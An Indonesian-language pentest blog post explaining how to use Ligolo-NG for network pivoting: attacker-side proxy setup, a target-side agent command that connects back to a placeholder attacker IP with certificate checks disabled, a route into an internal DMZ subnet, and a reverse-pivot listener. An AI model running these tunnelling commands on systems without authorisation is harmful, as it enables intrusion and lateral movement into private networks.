Post

Ligolo-NG - Pivoting Like a VPN

Posted
Kerberoasting
Kerberoasting
By Novran Faathir
1 min read

Ligolo adalah alat open-source yang memungkinkan Kita untuk melakukan Pivoting dalam jaringan target. Dengan Ligolo, pengguna dapat mengakses jaringan internal target melalui tunnel terenkripsi tanpa perlu konfigurasi kompleks, hal ini tentunya terasa lebih seperti menggunakan VPN.

Installation

Terdapat 2 file yang perlu kalian Download di Ligolo v0.6.2.

  1. proxy - file ini akan dijalankan di host kalian sendiri.
  2. agent - file ini akan dijalankan di mesin target.

Setup

1. [Attacker Machine] Run the Proxy (as a Server)

1
2
3

sudo ip tuntap add user xcho mode tun ligolo
sudo ip link set ligolo up
./proxy -laddr <ATTACKER_IP>:<ATTACKER_PORT> -selfcert

2. [Target Machine] Run the Agent

1

.\agent.exe -connect <ATTACKER_IP>:<ATTACKER_PORT> -ignore-cert

3. [Attacker Machine] Start Session in Ligolo Proxy

1
2

>> session
>> start

4. [Attacker Machine] Create a Network Route

1

sudo ip route add <DMZ_NETWORK>/24 dev ligolo

<DMZ_NETWORK> adalah Subnet yang tidak dapat dijangkau oleh mesin Attacker, contohnya 10.10.10.0/24.

Cheatsheet

Reverse Pivoting

1

>> listener_add --addr 0.0.0.0:4433 --to 127.0.0.1:4433 --tcp
Network Pentest
Network Pentest
This post is licensed under CC BY 4.0 by the author.